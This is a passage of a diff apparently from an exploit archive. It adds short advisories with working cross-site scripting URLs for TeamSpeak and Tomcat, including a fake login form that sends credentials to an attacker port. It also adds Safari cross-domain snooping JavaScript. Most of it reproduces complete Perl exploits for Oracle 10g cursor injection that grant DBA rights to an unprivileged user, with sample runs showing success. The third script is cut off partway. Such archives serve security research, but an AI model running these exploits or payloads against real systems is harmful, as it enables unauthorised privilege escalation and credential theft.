+- ZoneAlarm Pro 6.1.744.001
+
+Other applications and versions may also be affected.
+
+http://www.exploit-db.com/sploits/30039-1.zip
+
+http://www.exploit-db.com/sploits/30039-2.zip
\ No newline at end of file
diff --git a/platforms/multiple/remote/30025.txt b/platforms/multiple/remote/30025.txt
new file mode 100755
index 000000000..1bccf3484
--- /dev/null
+++ b/platforms/multiple/remote/30025.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/23933/info
+
+TeamSpeak Server is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
+
+TeamSpeak Server 2.0.20.1 is vulnerable; other versions may also be affected. 
+
+http://www.example.com:14534/error_box.html?error_title=session expired - please login&error_text=<form action="http://127.0.0.1:31338/own.cgi">User:<inputtype="text"><br>Pass: <input type="password"><br><br><input type="submit"></form>&error_url=index.html http://www.example.com:14534/ok_box.html?ok_title=%3Cscript%3Ealert('hello')%3C/script%3E 
\ No newline at end of file
diff --git a/platforms/multiple/remote/30052.txt b/platforms/multiple/remote/30052.txt
new file mode 100755
index 000000000..4fdfa41e5
--- /dev/null
+++ b/platforms/multiple/remote/30052.txt
@@ -0,0 +1,15 @@
+source: http://www.securityfocus.com/bid/24058/info
+
+Apache Tomcat's documentation web application includes a sample application that is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+The following Tomcat versions are affected:
+
+4.0.0 to 4.0.6
+4.1.0 to 4.1.36
+5.0.0 to 5.0.30
+5.5.0 to 5.5.23
+6.0.0 to 6.0.10
+
+http://www.example.com/tomcat-docs/appdev/sample/web/hello.jsp?test=<script>alert(document.domain)</script> 
\ No newline at end of file
diff --git a/platforms/multiple/remote/30078.js b/platforms/multiple/remote/30078.js
new file mode 100755
index 000000000..e8b623344
--- /dev/null
+++ b/platforms/multiple/remote/30078.js
@@ -0,0 +1,20 @@
+source: http://www.securityfocus.com/bid/24121/info
+
+Apple Safari is prone to an information-disclosure vulnerability because it fails to properly enforce cross-domain JavaScript restrictions.
+
+Exploiting this issue may allow attackers to access locations that a user visits, even if it's in a different domain than the attacker's site. The most common manifestation of this condition would typically be in blogs or forums. Attackers may be able to access potentially sensitive information that would aid in phishing attacks.
+
+This issue affects Safari 2.0.4; other versions may also be affected. 
+
+var snoopWin;
+
+function run() {
+	snoopWin = window.open('http://www.google.com/','snoopWindow','width=640,height=480');
+	snoopWin.blur();
+	setTimeout("snoopy()", 5000);	
+}
+
+function snoopy() {
+	alert(snoopWin.location);
+	setTimeout("snoopy()", 5000);
+}
\ No newline at end of file
diff --git a/platforms/multiple/remote/3375.pl b/platforms/multiple/remote/3375.pl
index 3cbf477d5..074c5720d 100755
--- a/platforms/multiple/remote/3375.pl
+++ b/platforms/multiple/remote/3375.pl
@@ -1,140 +1,140 @@
-#!/usr/bin/perl
-#
-# Remote Oracle KUPW$WORKER.MAIN exploit (10g)
-#  - Version 2 - New "evil cursor injection" tip!
-#  - No "create procedure" privileg needed!
-#  - See: http://www.databasesecurity.com/ (Cursor Injection)
-#
-# Grant or revoke dba permission to unprivileged user
-# 
-# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
-# 
-#   REF:    http://www.securityfocus.com/archive/1/440439
-#   
-#   AUTHOR: Andrea "bunker" Purificato
-#           http://rawlab.mindcreations.com
-#
-#   DATE:   Copyright 2007 - Thu Feb 26 17:48:27 CET 2007
-#
-# Oracle InstantClient (basic + sdk) required for DBD::Oracle
-# 
-#
-# bunker@fin:~$ perl kupw-workerV2.pl -h localhost -s test -u bunker -p **** -r
-#  [-] Wait...
-#  [-] Revoking DBA from BUNKER...
-#  DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at kupw-workerV2.pl line 70.
-#  [-] Done!
-#
-# bunker@fin:~$ perl kupw-workerV2.pl -h localhost -s test -u bunker -p **** -g
-#  [-] Wait...
-#  [-] Creating evil cursor...
-#  Cursor: 2
-#  [-] Go ...(don't worry about errors)!
-#  DBD::Oracle::st execute failed: ORA-39079: unable to enqueue message DG
-#  ORA-06512: at "SYS.DBMS_SYS_ERROR", line 86
-#  ORA-06512: at "SYS.KUPC$QUE_INT", line 912
-#  ORA-00931: missing identifier
-#  ORA-06512: at "SYS.KUPC$QUE_INT", line 1910
-#  ORA-06512: at line 1
-#  ORA-06512: at "SYS.KUPC$QUEUE_INT", line 591
-#  ORA-06512: at "SYS.KUPW$WORKER", line 13468
-#  ORA-06512: at "SYS.KUPW$WORKER", line 5810
-#  ORA-39125: Worker unexpected fatal error in KUPW$WORKER.MAIN while calling KUPC$QUEUE_INT.ATTACH_QUEUE []
-#  ORA-06512: at "SYS.KUPW$WORKER", line 1243
-#  ORA-31626: job does not exist
-#  ORA-39086: cannot retrieve job information
-#  ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement "
-#  BEGIN
-#    SYS.KUPW$WORKER.MAIN(''' AND 0=dbms_sql.execute(2)--','');
-#  END;
-#  "] at kupw-workerV2.pl line 100.
-#  [-] YOU GOT THE POWAH!!
-# 
-# bunker@fin:~$ perl kupw-workerV2.pl -h localhost -s test -u bunker -p **** -r
-#  [-] Wait...
-#  [-] Revoking DBA from BUNKER...
-#  [-] Done!
-#
-
-use warnings;
-use strict;
-use DBI;
-use Getopt::Std;
-use vars qw/ %opt /;
-
-sub usage {
-    print <<"USAGE";
-    
-Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
-
-Options:
-     -h     <host>     target server address
-     -s     <sid>      target sid name
-     -u     <user>     user
-     -p     <passwd>   password 
-
-     -g|-r             (g)rant dba to user | (r)evoke dba from user
-    [-P     <port>     Oracle port]
-
-USAGE
-    exit 0
-}
-
-my $opt_string = 'h:s:u:p:grP:';
-getopts($opt_string, \%opt) or &usage;
-&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
-&usage if ( !$opt{g} and !$opt{r} );
-my $user = uc $opt{u};
-
-my $dbh = undef;
-if ($opt{P}) {
-    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
-} else {
-    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
-}
-
-my $sqlcmd = "GRANT DBA TO $user";
-print "[-] Wait...\n";
-$dbh->func( 1000000, 'dbms_output_enable' );
-
-
-if ($opt{r}) {
-    print "[-] Revoking DBA from $user...\n";
-    $sqlcmd = "REVOKE DBA FROM $user";
-    $dbh->do( $sqlcmd );
-    print "[-] Done!\n";
-    $dbh->disconnect;
-    exit;
-}
-
-print "[-] Creating evil cursor...\n";
-my $sth = $dbh->prepare(qq{
-DECLARE
-MYC NUMBER;
-BEGIN
-  MYC := DBMS_SQL.OPEN_CURSOR;
-  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
-  DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
-END;
-} );
-$sth->execute;
-my $cursor = undef;
-while (my $line = $dbh->func( 'dbms_output_get' )) { 
-    print "$line\n";
-    if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
-}
-$sth->finish;
-
-print "[-] Go ...(don't worry about errors)!\n";
-$sth = $dbh->prepare(qq{
-BEGIN
-  SYS.KUPW\$WORKER.MAIN(''' AND 0=dbms_sql.execute($cursor)--','');
-END;
-});
-$sth->execute;
-$sth->finish;
-print "[-] YOU GOT THE POWAH!!\n";
-$dbh->disconnect;
-exit;
-
-# milw0rm.com [2007-02-26]
+#!/usr/bin/perl
+#
+# Remote Oracle KUPW$WORKER.MAIN exploit (10g)
+#  - Version 2 - New "evil cursor injection" tip!
+#  - No "create procedure" privileg needed!
+#  - See: http://www.databasesecurity.com/ (Cursor Injection)
+#
+# Grant or revoke dba permission to unprivileged user
+# 
+# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
+# 
+#   REF:    http://www.securityfocus.com/archive/1/440439
+#   
+#   AUTHOR: Andrea "bunker" Purificato
+#           http://rawlab.mindcreations.com
+#
+#   DATE:   Copyright 2007 - Thu Feb 26 17:48:27 CET 2007
+#
+# Oracle InstantClient (basic + sdk) required for DBD::Oracle
+# 
+#
+# bunker@fin:~$ perl kupw-workerV2.pl -h localhost -s test -u bunker -p **** -r
+#  [-] Wait...
+#  [-] Revoking DBA from BUNKER...
+#  DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at kupw-workerV2.pl line 70.
+#  [-] Done!
+#
+# bunker@fin:~$ perl kupw-workerV2.pl -h localhost -s test -u bunker -p **** -g
+#  [-] Wait...
+#  [-] Creating evil cursor...
+#  Cursor: 2
+#  [-] Go ...(don't worry about errors)!
+#  DBD::Oracle::st execute failed: ORA-39079: unable to enqueue message DG
+#  ORA-06512: at "SYS.DBMS_SYS_ERROR", line 86
+#  ORA-06512: at "SYS.KUPC$QUE_INT", line 912
+#  ORA-00931: missing identifier
+#  ORA-06512: at "SYS.KUPC$QUE_INT", line 1910
+#  ORA-06512: at line 1
+#  ORA-06512: at "SYS.KUPC$QUEUE_INT", line 591
+#  ORA-06512: at "SYS.KUPW$WORKER", line 13468
+#  ORA-06512: at "SYS.KUPW$WORKER", line 5810
+#  ORA-39125: Worker unexpected fatal error in KUPW$WORKER.MAIN while calling KUPC$QUEUE_INT.ATTACH_QUEUE []
+#  ORA-06512: at "SYS.KUPW$WORKER", line 1243
+#  ORA-31626: job does not exist
+#  ORA-39086: cannot retrieve job information
+#  ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement "
+#  BEGIN
+#    SYS.KUPW$WORKER.MAIN(''' AND 0=dbms_sql.execute(2)--','');
+#  END;
+#  "] at kupw-workerV2.pl line 100.
+#  [-] YOU GOT THE POWAH!!
+# 
+# bunker@fin:~$ perl kupw-workerV2.pl -h localhost -s test -u bunker -p **** -r
+#  [-] Wait...
+#  [-] Revoking DBA from BUNKER...
+#  [-] Done!
+#
+
+use warnings;
+use strict;
+use DBI;
+use Getopt::Std;
+use vars qw/ %opt /;
+
+sub usage {
+    print <<"USAGE";
+    
+Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
+
+Options:
+     -h     <host>     target server address
+     -s     <sid>      target sid name
+     -u     <user>     user
+     -p     <passwd>   password 
+
+     -g|-r             (g)rant dba to user | (r)evoke dba from user
+    [-P     <port>     Oracle port]
+
+USAGE
+    exit 0
+}
+
+my $opt_string = 'h:s:u:p:grP:';
+getopts($opt_string, \%opt) or &usage;
+&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
+&usage if ( !$opt{g} and !$opt{r} );
+my $user = uc $opt{u};
+
+my $dbh = undef;
+if ($opt{P}) {
+    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
+} else {
+    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
+}
+
+my $sqlcmd = "GRANT DBA TO $user";
+print "[-] Wait...\n";
+$dbh->func( 1000000, 'dbms_output_enable' );
+
+
+if ($opt{r}) {
+    print "[-] Revoking DBA from $user...\n";
+    $sqlcmd = "REVOKE DBA FROM $user";
+    $dbh->do( $sqlcmd );
+    print "[-] Done!\n";
+    $dbh->disconnect;
+    exit;
+}
+
+print "[-] Creating evil cursor...\n";
+my $sth = $dbh->prepare(qq{
+DECLARE
+MYC NUMBER;
+BEGIN
+  MYC := DBMS_SQL.OPEN_CURSOR;
+  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
+  DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
+END;
+} );
+$sth->execute;
+my $cursor = undef;
+while (my $line = $dbh->func( 'dbms_output_get' )) { 
+    print "$line\n";
+    if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
+}
+$sth->finish;
+
+print "[-] Go ...(don't worry about errors)!\n";
+$sth = $dbh->prepare(qq{
+BEGIN
+  SYS.KUPW\$WORKER.MAIN(''' AND 0=dbms_sql.execute($cursor)--','');
+END;
+});
+$sth->execute;
+$sth->finish;
+print "[-] YOU GOT THE POWAH!!\n";
+$dbh->disconnect;
+exit;
+
+# milw0rm.com [2007-02-26]
diff --git a/platforms/multiple/remote/3376.pl b/platforms/multiple/remote/3376.pl
index dc07d415f..210683213 100755
--- a/platforms/multiple/remote/3376.pl
+++ b/platforms/multiple/remote/3376.pl
@@ -1,136 +1,136 @@
-#!/usr/bin/perl
-#
-# Remote Oracle KUPV$FT.ATTACH_JOB exploit (10g)
-#  - Version 2 - New "evil cursor injection" tip!
-#  - No "create procedure" privileg needed!
-#  - See: http://www.databasesecurity.com/ (Cursor Injection)
-#
-# Grant or revoke dba permission to unprivileged user
-# 
-# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
-# 
-#   REF:    http://www.securityfocus.com/bid/16294
-#   
-#   AUTHOR: Andrea "bunker" Purificato
-#           http://rawlab.mindcreations.com
-#
-#   DATE:   Copyright 2007 - Thu Feb 26 17:18:55 CET 2007
-#
-# Oracle InstantClient (basic + sdk) required for DBD::Oracle
-#
-# bunker@fin:~$ perl kupv-ft_attach_jobV2.pl -h localhost -s test -u bunker -p **** -r
-#  [-] Wait...
-#  [-] Revoking DBA from BUNKER...
-#  DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at kupv-ft_attach_jobV2.pl line 68.
-#  [-] Done!
-# 
-# bunker@fin:~$ perl kupv-ft_attach_jobV2.pl -h localhost -s test -u bunker -p **** -g
-#  [-] Wait...
-#  [-] Creating evil cursor...
-#  Cursor: 2
-#  [-] Go ...(don't worry about errors)!
-#  DBD::Oracle::st execute failed: ORA-31626: job does not exist
-#  ORA-06512: at "SYS.DBMS_SYS_ERROR", line 79
-#  ORA-06512: at "SYS.KUPV$FT", line 330
-#  ORA-31638: cannot attach to job ' AND 0=dbms_sql.execute(2)-- for user
-#  ORA-31632: master table ".' AND 0=dbms_sql.execute(2)--" not found, invalid, or inaccessible
-#  ORA-00942: table or view does not exist
-#  ORA-06512: at line 5 (DBD ERROR: OCIStmtExecute) [for Statement "
-#  DECLARE
-#   J BOOLEAN; R NUMBER;
-#  BEGIN
-#   R:=SYS.KUPV$FT.ATTACH_JOB('',''' AND 0=dbms_sql.execute(2)--',J);
-#  END;
-#  "] at kupv-ft_attach_jobV2.pl line 100.
-#  [-] YOU GOT THE POWAH!!
-# 
-# bunker@fin:~$ perl kupv-ft_attach_jobV2.pl -h localhost -s test -u bunker -p **** -r
-#  [-] Wait...
-#  [-] Revoking DBA from BUNKER...
-#  [-] Done!
-#
-
-use warnings;
-use strict;
-use DBI;
-use Getopt::Std;
-use vars qw/ %opt /;
-
-sub usage {
-    print <<"USAGE";
-    
-Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
-
-Options:
-     -h     <host>     target server address
-     -s     <sid>      target sid name
-     -u     <user>     user
-     -p     <passwd>   password 
-
-     -g|-r             (g)rant dba to user | (r)evoke dba from user
-    [-P     <port>     Oracle port]
-
-USAGE
-    exit 0
-}
-
-my $opt_string = 'h:s:u:p:grP:';
-getopts($opt_string, \%opt) or &usage;
-&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
-&usage if ( !$opt{g} and !$opt{r} );
-my $user = uc $opt{u};
-
-my $dbh = undef;
-if ($opt{P}) {
-    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
-} else {
-    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
-}
-
-my $sqlcmd = "GRANT DBA TO $user";
-print "[-] Wait...\n";
-$dbh->func( 1000000, 'dbms_output_enable' );
-
-
-if ($opt{r}) {
-    print "[-] Revoking DBA from $user...\n";
-    $sqlcmd = "REVOKE DBA FROM $user";
-    $dbh->do( $sqlcmd );
-    print "[-] Done!\n";
-    $dbh->disconnect;
-    exit;
-}
-
-print "[-] Creating evil cursor...\n";
-my $sth = $dbh->prepare(qq{
-DECLARE
-MYC NUMBER;
-BEGIN
-  MYC := DBMS_SQL.OPEN_CURSOR;
-  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
-  DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
-END;
-} );
-$sth->execute;
-my $cursor = undef;
-while (my $line = $dbh->func( 'dbms_output_get' )) { 
-    print "$line\n";
-    if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
-}
-$sth->finish;
-
-print "[-] Go ...(don't worry about errors)!\n";
-$sth = $dbh->prepare(qq{
-DECLARE
- J BOOLEAN; R NUMBER;
-BEGIN
- R:=SYS.KUPV\$FT.ATTACH_JOB('',''' AND 0=dbms_sql.execute($cursor)--',J);
-END;
-});
-$sth->execute;
-$sth->finish;
-print "[-] YOU GOT THE POWAH!!\n";
-$dbh->disconnect;
-exit;
-
-# milw0rm.com [2007-02-26]
+#!/usr/bin/perl
+#
+# Remote Oracle KUPV$FT.ATTACH_JOB exploit (10g)
+#  - Version 2 - New "evil cursor injection" tip!
+#  - No "create procedure" privileg needed!
+#  - See: http://www.databasesecurity.com/ (Cursor Injection)
+#
+# Grant or revoke dba permission to unprivileged user
+# 
+# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
+# 
+#   REF:    http://www.securityfocus.com/bid/16294
+#   
+#   AUTHOR: Andrea "bunker" Purificato
+#           http://rawlab.mindcreations.com
+#
+#   DATE:   Copyright 2007 - Thu Feb 26 17:18:55 CET 2007
+#
+# Oracle InstantClient (basic + sdk) required for DBD::Oracle
+#
+# bunker@fin:~$ perl kupv-ft_attach_jobV2.pl -h localhost -s test -u bunker -p **** -r
+#  [-] Wait...
+#  [-] Revoking DBA from BUNKER...
+#  DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at kupv-ft_attach_jobV2.pl line 68.
+#  [-] Done!
+# 
+# bunker@fin:~$ perl kupv-ft_attach_jobV2.pl -h localhost -s test -u bunker -p **** -g
+#  [-] Wait...
+#  [-] Creating evil cursor...
+#  Cursor: 2
+#  [-] Go ...(don't worry about errors)!
+#  DBD::Oracle::st execute failed: ORA-31626: job does not exist
+#  ORA-06512: at "SYS.DBMS_SYS_ERROR", line 79
+#  ORA-06512: at "SYS.KUPV$FT", line 330
+#  ORA-31638: cannot attach to job ' AND 0=dbms_sql.execute(2)-- for user
+#  ORA-31632: master table ".' AND 0=dbms_sql.execute(2)--" not found, invalid, or inaccessible
+#  ORA-00942: table or view does not exist
+#  ORA-06512: at line 5 (DBD ERROR: OCIStmtExecute) [for Statement "
+#  DECLARE
+#   J BOOLEAN; R NUMBER;
+#  BEGIN
+#   R:=SYS.KUPV$FT.ATTACH_JOB('',''' AND 0=dbms_sql.execute(2)--',J);
+#  END;
+#  "] at kupv-ft_attach_jobV2.pl line 100.
+#  [-] YOU GOT THE POWAH!!
+# 
+# bunker@fin:~$ perl kupv-ft_attach_jobV2.pl -h localhost -s test -u bunker -p **** -r
+#  [-] Wait...
+#  [-] Revoking DBA from BUNKER...
+#  [-] Done!
+#
+
+use warnings;
+use strict;
+use DBI;
+use Getopt::Std;
+use vars qw/ %opt /;
+
+sub usage {
+    print <<"USAGE";
+    
+Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
+
+Options:
+     -h     <host>     target server address
+     -s     <sid>      target sid name
+     -u     <user>     user
+     -p     <passwd>   password 
+
+     -g|-r             (g)rant dba to user | (r)evoke dba from user
+    [-P     <port>     Oracle port]
+
+USAGE
+    exit 0
+}
+
+my $opt_string = 'h:s:u:p:grP:';
+getopts($opt_string, \%opt) or &usage;
+&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
+&usage if ( !$opt{g} and !$opt{r} );
+my $user = uc $opt{u};
+
+my $dbh = undef;
+if ($opt{P}) {
+    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
+} else {
+    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
+}
+
+my $sqlcmd = "GRANT DBA TO $user";
+print "[-] Wait...\n";
+$dbh->func( 1000000, 'dbms_output_enable' );
+
+
+if ($opt{r}) {
+    print "[-] Revoking DBA from $user...\n";
+    $sqlcmd = "REVOKE DBA FROM $user";
+    $dbh->do( $sqlcmd );
+    print "[-] Done!\n";
+    $dbh->disconnect;
+    exit;
+}
+
+print "[-] Creating evil cursor...\n";
+my $sth = $dbh->prepare(qq{
+DECLARE
+MYC NUMBER;
+BEGIN
+  MYC := DBMS_SQL.OPEN_CURSOR;
+  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
+  DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
+END;
+} );
+$sth->execute;
+my $cursor = undef;
+while (my $line = $dbh->func( 'dbms_output_get' )) { 
+    print "$line\n";
+    if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
+}
+$sth->finish;
+
+print "[-] Go ...(don't worry about errors)!\n";
+$sth = $dbh->prepare(qq{
+DECLARE
+ J BOOLEAN; R NUMBER;
+BEGIN
+ R:=SYS.KUPV\$FT.ATTACH_JOB('',''' AND 0=dbms_sql.execute($cursor)--',J);
+END;
+});
+$sth->execute;
+$sth->finish;
+print "[-] YOU GOT THE POWAH!!\n";
+$dbh->disconnect;
+exit;
+
+# milw0rm.com [2007-02-26]
diff --git a/platforms/multiple/remote/3377.pl b/platforms/multiple/remote/3377.pl
index 02436f7ce..c22f5a05d 100755
--- a/platforms/multiple/remote/3377.pl
+++ b/platforms/multiple/remote/3377.pl
@@ -1,134 +1,134 @@
-#!/usr/bin/perl
-#
-# Remote Oracle DBMS_METADATA.GET_DDL exploit (9i/10g)
-#  - Version 2 - New "evil cursor injection" tip!
-#  - No "create procedure" privileg needed!
-#  - See: http://www.databasesecurity.com/ (Cursor Injection)
-#
-# Grant or revoke dba permission to unprivileged user
-# 
-# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
-# 
-#   REF:    http://www.securityfocus.com/bid/16287
-#   
-#   AUTHOR: Andrea "bunker" Purificato
-#           http://rawlab.mindcreations.com
-#
-#   DATE:   Copyright 2007 - Fri Feb 26 12:32:55 CET 2007
-#
-# Oracle InstantClient (basic + sdk) required for DBD::Oracle
-#
-# bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -r
-#  [-] Wait...
-#  [-] Revoking DBA from BUNKER...
-#  DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_meta_get_ddlV2.pl line 69.
-#  [-] Done!
-# 
-# bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -g
-#  [-] Wait...
-#  [-] Creating evil cursor...
-#  Cursor: 2
-#  [-] Go ...(don't worry about errors)!
-#  DBD::Oracle::st execute failed: ORA-31600: invalid input value '||dbms_sql.execute(2)||' for parameter OBJECT_TYPE in function GET_DDL
-#  ORA-06512: at "SYS.DBMS_METADATA", line 2576
-#  ORA-06512: at "SYS.DBMS_METADATA", line 2627
-#  ORA-06512: at "SYS.DBMS_METADATA", line 4220
-#  ORA-06512: at line 5 (DBD ERROR: OCIStmtExecute) [for Statement "
-#  DECLARE
-#   R CLOB;
-#  BEGIN
-#   R := SYS.DBMS_METADATA.GET_DDL('''||dbms_sql.execute(2)||''','');
-#  END;
-#  "] at dbms_meta_get_ddlV2.pl line 101.
-#  [-] YOU GOT THE POWAH!!
-#
-# bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -r
-#  [-] Wait...
-#  [-] Revoking DBA from BUNKER...
-#  [-] Done!
-#  
-
-use warnings;
-use strict;
-use DBI;
-use Getopt::Std;
-use vars qw/ %opt /;
-
-sub usage {
-    print <<"USAGE";
-    
-Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
-
-Options:
-     -h     <host>     target server address
-     -s     <sid>      target sid name
-     -u     <user>     user
-     -p     <passwd>   password 
-
-     -g|-r             (g)rant dba to user | (r)evoke dba from user
-    [-P     <port>     Oracle port]
-
-USAGE
-    exit 0
-}
-
-my $opt_string = 'h:s:u:p:grP:';
-getopts($opt_string, \%opt) or &usage;
-&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
-&usage if ( !$opt{g} and !$opt{r} );
-my $user = uc $opt{u};
-
-my $dbh = undef;
-if ($opt{P}) {
-    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
-} else {
-    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
-}
-
-my $sqlcmd = "GRANT DBA TO $user";
-print "[-] Wait...\n";
-$dbh->func( 1000000, 'dbms_output_enable' );
-
-
-if ($opt{r}) {
-    print "[-] Revoking DBA from $user...\n";
-    $sqlcmd = "REVOKE DBA FROM $user";
-    $dbh->do( $sqlcmd );
-    print "[-] Done!\n";
-    $dbh->disconnect;
-    exit;
-}
-
-print "[-] Creating evil cursor...\n";
-my $sth = $dbh->prepare(qq{
-DECLARE
-MYC NUMBER;
-BEGIN
-  MYC := DBMS_SQL.OPEN_CURSOR;
-  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
-  DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
-END;
-} );
-$sth->execute;
-my $cursor = undef;
-while (my $line = $dbh->func( 'dbms_output_get' )) { 
-    print "$line\n";
-    if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
-}
-$sth->finish;
-
-print "[-] Go ...(don't worry about errors)!\n";
-$sth = $dbh->prepare(qq{
-DECLARE
- R CLOB;
-BEGIN
- R := SYS.DBMS_METADATA.GET_DDL('''||dbms_sql.execute($cursor)||''','');
-END;
-});
-$sth->execute;
-$sth->finish;
-print "[-] YOU GOT THE POWAH!!\n";
-$dbh->disconnect;
-exit;
-
-# milw0rm.com [2007-02-26]
+#!/usr/bin/perl
+#
+# Remote Oracle DBMS_METADATA.GET_DDL exploit (9i/10g)
+#  - Version 2 - New "evil cursor injection" tip!
+#  - No "create procedure" privileg needed!
+#  - See: http://www.databasesecurity.com/ (Cursor Injection)
+#
+# Grant or revoke dba permission to unprivileged user
+# 
+# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
+# 
+#   REF:    http://www.securityfocus.com/bid/16287
+#   
+#   AUTHOR: Andrea "bunker" Purificato
+#           http://rawlab.mindcreations.com
+#
+#   DATE:   Copyright 2007 - Fri Feb 26 12:32:55 CET 2007
+#
+# Oracle InstantClient (basic + sdk) required for DBD::Oracle
+#
+# bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -r
+#  [-] Wait...
+#  [-] Revoking DBA from BUNKER...
+#  DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_meta_get_ddlV2.pl line 69.
+#  [-] Done!
+# 
+# bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -g
+#  [-] Wait...
+#  [-] Creating evil cursor...
+#  Cursor: 2
+#  [-] Go ...(don't worry about errors)!
+#  DBD::Oracle::st execute failed: ORA-31600: invalid input value '||dbms_sql.execute(2)||' for parameter OBJECT_TYPE in function GET_DDL
+#  ORA-06512: at "SYS.DBMS_METADATA", line 2576
+#  ORA-06512: at "SYS.DBMS_METADATA", line 2627
+#  ORA-06512: at "SYS.DBMS_METADATA", line 4220
+#  ORA-06512: at line 5 (DBD ERROR: OCIStmtExecute) [for Statement "
+#  DECLARE
+#   R CLOB;
+#  BEGIN
+#   R := SYS.DBMS_METADATA.GET_DDL('''||dbms_sql.execute(2)||''','');
+#  END;
+#  "] at dbms_meta_get_ddlV2.pl line 101.
+#  [-] YOU GOT THE POWAH!!
+#
+# bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -r
+#  [-] Wait...
+#  [-] Revoking DBA from BUNKER...
+#  [-] Done!
+#  
+
+use warnings;
+use strict;
+use DBI;
+use Getopt::Std;
+use vars qw/ %opt /;
+
+sub usage {
+    print <<"USAGE";
+    
+Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
+
+Options:
+     -h     <host>     target server address
+     -s     <sid>      target sid name
+     -u     <user>     user
+     -p     <passwd>   password 
+
+     -g|-r             (g)rant dba to user | (r)evoke dba from user
